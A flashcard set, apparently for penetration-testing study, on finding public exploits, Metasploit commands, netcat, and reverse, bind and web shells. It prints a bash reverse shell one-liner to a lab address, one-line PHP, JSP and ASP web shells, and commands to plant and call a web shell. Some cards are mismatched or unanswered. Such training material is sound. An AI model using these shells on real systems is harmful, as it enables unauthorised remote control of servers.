Public Exploits Flashcards

1
Q

What are some Online databases we can use for finding public exploits

A

Exploit DB

Rapid7 DB

Vulnerability Lab

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

Metasploit command to search for target vulnerability for an application

A

search exploit

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

Metasploit command to see all filters that go with the search command

A

help search

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

Metasploit command to view options available to configure an exploit

A

show options command

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

Metasploit command to see if the server is vulnerable to the exploit.

A

check

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

Shell that connects back to our system and gives us control through a reverse connection.

A

Reverse Shell

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

Syntax for Netcat listener

A

nc –lvnp (port number)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

Netcat flag for listen mode, waits for a connection to connect to us.

A

-l

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

Netcat flag to disables DNS resolution and only connects from/to IPs, speeding up the connection

A

-n

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

Example of what is used with exploits to get a reverse connection in Bash

A

bash -c ‘bash -i >& /dev/tcp/10.10.10.10/1234 0>&1’

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

Listening port on the target waits for us to connect to a shell and gives us control once we do.

A

Bind shell

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

Netcat syntax for connecting to a bind shell setup on our target box.

A

nc (IP) (target port)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

To get full functionality in for our terminal shell (e.g. access command history) we need to do what?

A

Upgrade TTY

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

Communicates through a web server, accepts our commands through HTTP parameters (GET request), executes them, and prints back the output.

A

Web shell

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

Web shell scripts are typically one-liners. What are some common ones in different web languages”

A

php

<?php system($_REQUEST[“cmd”]); ?>

jsp

<% Runtime.getRuntime().exec(request.getParameter(“cmd”)); %>

asp

<% eval request(“cmd”) %>

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

How do we execute web shell?

A

We take this web shell place it into the remote host’s web directory and execute it through the web browser. To do this through a vulnerability in an upload feature.

17
Q

Some other places we can write web shells directly to.

18
Q

If we’re on a box command we can determine which webroot is in use:

A

echo ‘<?php system($_REQUEST[“cmd”]); ?>’ > /var/www/html/shell.php

19
Q

After writing a web shell, we can access it through where?

A

Browser

CURL

20
Q

How to execute a web shell through a browser?

A

Go to the URL page where web shell is located and start executing commands.

e.g. https://SERVER_IP_PORT/shell.php?cmd-id

21
Q

How to execute a web shell through CURL?

A

curl http://SERVER_IP:PORT/shell.php?cmd=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

22
Q

What are some pros of a web shells?

A

Bypassing any firewall restrictions because they run on a web port 80 or 443

Persistence - If the target host is compromised rebooted, we would still have a connection. Because web shell script would still be in place.

23
Q

What are some cons of a web shells?

A

Cons it’s not as interactive as reverse and bind shells since we must keep requesting a different URL to execute our commands.